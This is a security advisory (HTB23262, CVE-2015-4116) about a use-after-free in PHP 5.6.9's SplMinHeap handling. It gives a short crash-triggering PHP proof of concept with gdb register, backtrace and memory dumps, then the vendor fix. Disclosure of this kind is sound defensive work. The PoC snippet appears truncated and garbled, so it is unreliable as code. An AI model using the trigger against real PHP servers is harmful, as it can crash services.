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Use-After-Free in PHP

Advisory ID:HTB23262
Vendor:PHP Group
Vulnerable Versions:5.6.9 and probably prior
Tested Version:5.6.9
Advisory Publication:May 20, 2015 [without technical details]
Vendor Notification:May 20, 2015
Vendor Fix:June 2, 2015
Public Disclosure:June 10, 2015
Latest Update:June 9, 2015
Vulnerability Type:Use After Free [CWE-416]
CVE Reference:CVE-2015-4116
Risk Level:Medium
CVSSv2 Base Score:4.6 (AV:L/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge Security Research Lab discovered use-after-free vulnerability in a popular programming language PHP, which can be exploited to cause crash and possibly execute arbitrary code on the target system.

The vulnerability resides within the 'spl_heap_object_free_storage()' PHP function when trying to dereference already freed memory. A local attacker can cause segmentation fault or possibly execute arbitrary code on the target system with privileges of webserver.

Below is a simple code that will trigger a crash:

class SplMinHeap1 extends SplMinHeap {
  public function 
compare($a,   $b) {
    return -
$h = new   SplMinHeap1();
$h->insert(2   ); 

Running the following PoC we get:

gdb-peda$ r ~/Desktop/heap_uaf.php
Starting program: /usr/local/bin/php ~/Desktop/heap_uaf.php
PHP Fatal error: Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.php on line 4

Fatal error: Call to undefined method SplMinHeap::notexist() in /home/test/Desktop/heap_uaf.php on line 4

Program received signal SIGSEGV, Segmentation fault.
[------------------------------------------------------------------- -------registers------------------------------------------------------------ ---------------]
RAX: 0x5a5a5a5a5a5a5a5a (ZZZZZZZZ)
RBX: 0x8000000
RCX: 0xcd0458 ("/home/test/De"...)
RDX: 0x16f
RSI: 0xcd0458 ("/home/test/De"...)
RDI: 0x5a5a5a5a5a5a5a5a (ZZZZZZZZ)
RBP: 0x7fffffffc570 --> 0x7fffffffc5a0 --> 0x7fffffffc5d0 --> 0x7fffffffc600 --> 0x7fffffffc630 --> 0x7fffffffc750 --> 0x7fffffffc850 --> 0x7fffffffc9b0 --> 0x7fffffffdcf0 --> 0x7fffffffde50 --> 0x0
RSP: 0x7fffffffc570 --> 0x7fffffffc5a0 --> 0x7fffffffc5d0 --> 0x7fffffffc600 --> 0x7fffffffc630 --> 0x7fffffffc750 --> 0x7fffffffc850 --> 0x7fffffffc9b0 --> 0x7fffffffdcf0 --> 0x7fffffffde50 --> 0x0
RIP: 0x82a96f (<zval_delref_p+12>: mov eax,DWORD PTR [rax+0x10])
R8 : 0x269
R9 : 0x0
R10: 0x7fffffff9b20 --> 0x0
R11: 0x7ffff71102f0 --> 0xfffda6c0fffda3ef
R12: 0x4209e0 (<_start>: xor ebp,ebp)
R13: 0x7fffffffdf30 --> 0x2
R14: 0x0
R15: 0x0
[---------------------------------------------------------------------- -------code----------------------------------------------------------------- ------------]
0x82a964 <zval_delref_p+1>: mov rbp,rsp
0x82a967 <zval_delref_p+4>: mov QWORD PTR [rbp-0x8],rdi
0x82a96b <zval_delref_p+8>: mov rax,QWORD PTR [rbp-0x8]
=> 0x82a96f <zval_delref_p+12>: mov eax,DWORD PTR [rax+0x10]
0x82a972 <zval_delref_p+15>: lea edx,[rax-0x1]
0x82a975 <zval_delref_p+18>: mov rax,QWORD PTR [rbp-0x8]
0x82a979 <zval_delref_p+22>: mov DWORD PTR [rax+0x10],edx
0x82a97c <zval_delref_p+25>: mov rax,QWORD PTR [rbp-0x8]
[---------------------------------------------------------------- ------------stack----------------------------------------------------------- ------------------]

As seen above when trying to dereference the value from $rax (which has been already freed) PHP crashes.

Stopped reason: SIGSEGV
0x000000000082a96f in zval_delref_p (pz=0x5a5a5a5a5a5a5a5a) at /home/test/Desktop/php-5.6.9/Zend/zend.h:411
411 return --pz->refcount__gc;

Running the backtrace command we can see a couple of freed variables: zval_ptr, pz
gdb-peda$ bt
#0 0x000000000082a96f in zval_delref_p (pz=0x5a5a5a5a5a5a5a5a) at /home/test/Desktop/php-5.6.9/Zend/zend.h:411
#1 0x000000000082aafb in i_zval_ptr_dtor (zval_ptr=0x5a5a5a5a5a5a5a5a, __zend_filename=0xcd0458 "/home/test/De"..., __zend_lineno=0x16f) at /home/test/Desktop/php-5.6.9/Zend/zend_execute.h:76
#2 0x000000000082bdcb in _zval_ptr_dtor (zval_ptr=0x7ffff7fcba88, __zend_filename=0xcd0458 "/home/test/De"..., __zend_lineno=0x16f) at /home/test/Desktop/php-5.6.9/Zend/zend_execute_API.c:424
#3 0x00000000006e5c1a in spl_heap_object_free_storage (object=0x7ffff7dfdfa0) at /home/test/Desktop/php-5.6.9/ext/spl/spl_heap.c:367
#4 0x000000000087f566 in zend_objects_store_free_object_storage (objects=0x102e640 <executor_globals+928>) at /home/test/Desktop/php-5.6.9/Zend/zend_objects_API.c:97
#5 0x000000000082b89e in shutdown_executor () at /home/test/Desktop/php-5.6.9/Zend/zend_execute_API.c:290
#6 0x0000000000841a4c in zend_deactivate () at /home/test/Desktop/php-5.6.9/Zend/zend.c:960
#7 0x00000000007a7c40 in php_request_shutdown (dummy=0x0) at /home/test/Desktop/php-5.6.9/main/main.c:1882
#8 0x00000000008f6501 in do_cli (argc=0x2, argv=0x1032560) at /home/test/Desktop/php-5.6.9/sapi/cli/php_cli.c:1177
#9 0x00000000008f6d8b in main (argc=0x2, argv=0x1032560) at /home/test/Desktop/php-5.6.9/sapi/cli/php_cli.c:1378
#10 0x00007ffff6faaec5 in __libc_start_main () from /lib/x86_64-linux-gnu/
#11 0x0000000000420a09 in _start ()

Lastly, from stack #2 we clearly see that the zval_ptr pointer (0x7ffff7fcba88) points to freed memory:

gdb-peda$ x/50xw 0x7ffff7fcba88
0x7ffff7fcba88: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a

0x7ffff7fcba98: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbaa8 : 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbab8: 0x5a5a5a5a 0x 5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbac8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a 5a5a 0x5a5a5a5a
0x7ffff7fcbad8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbae8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbaf 8: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbb08: 0x5a5a5a5a 0 x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbb18: 0x5a5a5a5a 0x5a5a5a5a 0x5a5 a5a5a 0x5a5a5a5a
0x7ffff7fcbb28: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5 a
0x7ffff7fcbb38: 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a 0x5a5a5a5a
0x7ffff7fcbb 48: 0x5a5a5a5a 0x5a5a5a5a

This vulnerability was successfully reproduced Ubuntu 14.04.1 LTS (32 bit and 64 bit) on the latest version of PHP 5.6.9.

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Apply Vendor's patch. More Information:;a=commit;h=1cbd25ca15383394ffa9ee8601c5de4c0f2f90e1

[1] High-Tech Bridge Advisory HTB23262 - - Use-After-Free in PHP.
[2] PHP - - PHP is a popular general-purpose scripting language that is especially suited to web development.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.
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